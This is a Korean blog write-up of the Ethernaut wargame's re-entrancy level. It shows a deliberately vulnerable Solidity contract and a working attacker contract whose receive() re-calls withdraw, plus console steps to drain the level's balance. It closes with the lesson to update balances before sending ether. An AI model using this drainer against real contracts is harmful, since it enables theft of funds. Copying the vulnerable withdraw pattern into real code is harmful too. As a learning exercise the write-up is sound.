Don't think! Just do it!

종합 IT 기술 정체성 카오스 블로그! 이... 이곳은 어디지?

Smart contract/Ethernaut 문제풀이

Ethernaut 문제풀이 #10 - Re-entrancy

방피터 2022. 2. 28. 16:36

10번 문제 re-entrancy입니다.

Solidity 문서의 보안 측면 고려사항 페이지에서 거의 처음 부분에 나오는 거라 언제 이게 문제로 나오나 했는데 이제 나오네요.

그래도 힌트를 좀 보면 기존에 많은 문제풀이 처럼 다른 컨트랙트를 사용해 이 레벨을 클리어 해야 하겠네요. fallback은 거의 항상 이용되는 것 같은데 이 정도면 fallback을 없애야 하는거 아닌가 싶어요 ㅎㅎ

그리고 Throw/revert bubbling 이라는 힌트가 있는데 revert는 레벨9 King에서도 활용했었습니다.

 

자 하던대로 코드를 살펴보시죠.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {//재진입 컨트랙트
  
  using SafeMath for uint256;//safemath
  mapping(address => uint) public balances;//잔고

  function donate(address _to) public payable {//기부 함수
    balances[_to] = balances[_to].add(msg.value);//balances[_to]에 msg.value add
  }

  function balanceOf(address _who) public view returns (uint balance) {//잔고 확인 함수
    return balances[_who];//잔고 리턴
  }

  function withdraw(uint _amount) public {//인출
    if(balances[msg.sender] >= _amount) {//가지고 있는 돈이 인출할 돈보다 많으면
      (bool result,) = msg.sender.call.value(_amount)("");//인출
      if(result) {//만약 결과가 참이면
        _amount;//_amount? 이기 뭐여
      }
      balances[msg.sender] -= _amount;//잔고에 반영
    }
  }

  receive() external payable {}//receive() 함수.
}

 

solidity 문서 보안 측면 고려 사항을 보면 withdraw 함수가 수정되어야 하는 것을 금방 아실 수 있으실거에요. 하지만 수정하는 문제가 아니라 해킹해서 돈을 다 빼가는 거니깐 해봅시다. 해당 문서를 보면 재진입 문제에 대해 이렇게 설명되어 있습니다.

 

 

 

다른 컨트랙트에서 withdraw함수가 완료되기 전에 또 withdraw함수를 실행되면 잔고에 반영되기 전에 또 인출이 된다는 말입니다. 자 그럼 어떻게 withdraw함수가 완료되기전에 또 withdraw함수를 실행시킬까요? 답은 fallback 함수에 있습니다. withdraw를 호출하면 Reentrance는 이더를 myContract로 보낼거고 그러면 fallback이 실행될텐데 그 fallback 안에서 또 withdraw 호출하면 계속 반복 되겠죠? Reentrance의 잔고가 0이 되거나 call stack이 1024가 넘는 순간까지 반복되겠죠?

 

그래서 코드는 아래와 같이 만들었습니다. 해당 코드를 Reentrace 컨트랙트의 주소와 함께 배포합니다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Reentrance {//Reentrance 컨트랙트를 사용하기 위한 interface 정의
    function withdraw(uint) external;
}

contract myContract {
  address public owner;
  Reentrance reentrance;//인스턴스
  
  constructor (address _target) public {
      owner = msg.sender;
      reentrance = Reentrance(_target);//인스턴스에 주소 할당
  }
  
  function withdraw() public {//돈 회수 연습
      require(msg.sender == owner);
      msg.sender.call{value:address(this).balance}("");
  }
  
  function withdrawAll() public {
    reentrance.withdraw(1000000000000000000);//1 ether withdraw
  }
  
  receive() external payable{//송금되면 수행
    reentrance.withdraw(1000000000000000000);//1 ether withdraw
  }
}

 

 

Reentrace 컨트랙트의 최초 잔고는 1 ETH 입니다. 1 ETH 를 myContract 주소로 기부하면 Reentrace의 잔고는 2 ETH 가 될거에요. 그 후에 배포된 myContract의 withdrawAll함수를 실행시키면 해당 함수에서 1이더가 인출되고 나머지 1 ETH 도 receive함수에서 호출되는 withdraw에 의해 인출될 거에요. 자 확인해 보시죠.

 

아래 코드로 자신의 컨트랙트 주소로 1 ETH 기부 (아래 주소를 변경해야 합니다.)

await contract.donate("0x3BD5f7539f00DbaD847225b92c1629224caD4ce1",{value:web3.utils.toWei("1")})

 

기부가 완료되면 아래 화면 캡쳐처럼 getBalance함수를 이용해 2 ETH 가 있는지 확인해 보세요.

 

 

마지막으로 Remix의 실행창에서 withdrawAll 함수를 실행하면 1 ETH 씩 두번 인출이 되어 myContract로 들어가게 될거에요. 실행 후 다시 Reentrance의 잔고를 확인하면 0 ETH, myContract의 잔고는 2가 되어 있는 것을 확인하실 수 있습니다.

 

그리고 제출하면 칭찬을 받겠죠?

 

 

자 정리해보자면 컨트랙트 내에서 ETH를 송금하는 함수는 다른 악의적인 컨트랙트에 의해 두 번 이상 수행될 수 있는 가능성이 항상 있습니다. 따라서 반드시 send,transfer,call를 호출하기 전에 잔고를 정리하는 구문이 있어야 합니다.

 

그러니까! 오늘의 교훈!

꼭!꼭! 잔고부터 정리하고 돈을 보내자!

 

 

그리고 다음은 이더를 보내는 방법에 대한 문서인데요. send나 transfer는 더 이상 사용을 추천하지 않는다고 합니다. call을 쓰래요.

https://solidity-by-example.org/sending-ether/

 

Sending Ether (transfer, send, call) | Solidity by Example | 0.8.3

Sending Ether (transfer, send, call) How to send Ether? You can send Ether to other contracts by transfer (2300 gas, throws error)send (2300 gas, returns bool)call (forward all gas or set gas, returns bool) How to receive Ether? A contract receiving Ether

solidity-by-example.org

그럼 레벨 11에서 만나요~

 

안녕~!

반응형